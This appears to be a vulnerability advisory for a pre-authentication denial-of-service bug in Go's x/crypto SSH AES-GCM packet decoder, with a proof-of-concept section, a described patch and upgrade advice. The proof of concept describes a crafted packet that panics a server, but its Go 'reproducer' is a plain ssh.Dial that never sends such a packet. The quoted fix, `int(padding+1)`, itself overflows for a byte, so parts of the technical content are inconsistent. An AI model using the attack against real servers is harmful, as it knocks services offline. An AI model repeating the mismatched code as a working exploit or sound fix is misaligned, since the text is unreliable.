CVE-2026-46597: golang.org/x/crypto/ssh AES-GCM Packet Decoder Integer Underflow DoS
golang.org/x/crypto/ssh < 0.52.0: a byte-to-uint32 arithmetic underflow in gcmCipher.readCipherPacket lets any client panic an SSH server.

The problem
In golang.org/x/crypto/ssh before 0.52.0, gcmCipher.readCipherPacket computes the payload slice as plain[1 : length-uint32(padding)] without first verifying that padding < length. When a crafted AES-GCM SSH packet carries a padding byte whose value exceeds the decrypted payload length, the subtraction wraps to a huge uint32, causing an out-of-bounds slice panic (CWE-681).
Because the decoder runs before authentication is complete, an unauthenticated network peer can crash any server using the affected library.
Proof of concept
# Send a valid AES-GCM SSH handshake, then inject a crafted binary packet where:
# - 4-byte length field (big-endian) = 0x00000005 (5 bytes of ciphertext payload declared)
# - After AEAD decryption the plaintext is, e.g., 5 bytes: [0xFF, 0x00, 0x00, 0x00, 0x00]
# plain[0] = 0xFF --> padding = 255
# len(plain) = 5 --> length - uint32(padding) = 5 - 255 wraps to 0xFFFFFF06 on uint32
# The slice plain[1 : 0xFFFFFF06] panics immediately with a runtime index out of range.
#
# Minimal Go reproducer (against a local test server):
package main
import (
"net"
"golang.org/x/crypto/ssh"
)
func main() {
config := &ssh.ClientConfig{
User: "x",
Auth: []ssh.AuthMethod{ssh.Password("x")},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
// Server panics during key-exchange / packet decode
ssh.Dial("tcp", "target:22", config)
}The root cause (CWE-681 / incorrect type conversion) is in cipher.go: the expression `plain[1 : length-uint32(padding)]` performs unsigned arithmetic before any bounds check. If `padding` (a byte from the decrypted packet) is larger than `length` (the uint32 wire length), the subtraction underflows to a near-maximal uint32, and Go's runtime slice-bounds check panics the process.
The patch adds `if int(padding+1) >= len(plain) { return nil, fmt.Errorf(...) }` *before* the slice expression, performing a signed integer comparison that safely catches both the underflow case and the zero-payload case. Because the decoder is invoked during key exchange, the panic is reachable pre-authentication.
The fix
Upgrade golang.org/x/crypto to v0.52.0 or later (`go get golang.org/x/crypto@v0.52.0`). The fix is in ssh/cipher.go via Gerrit CL 781620; it adds an explicit bounds check on the padding value before computing the payload slice in gcmCipher.readCipherPacket.
Reported by Maciej Kawka.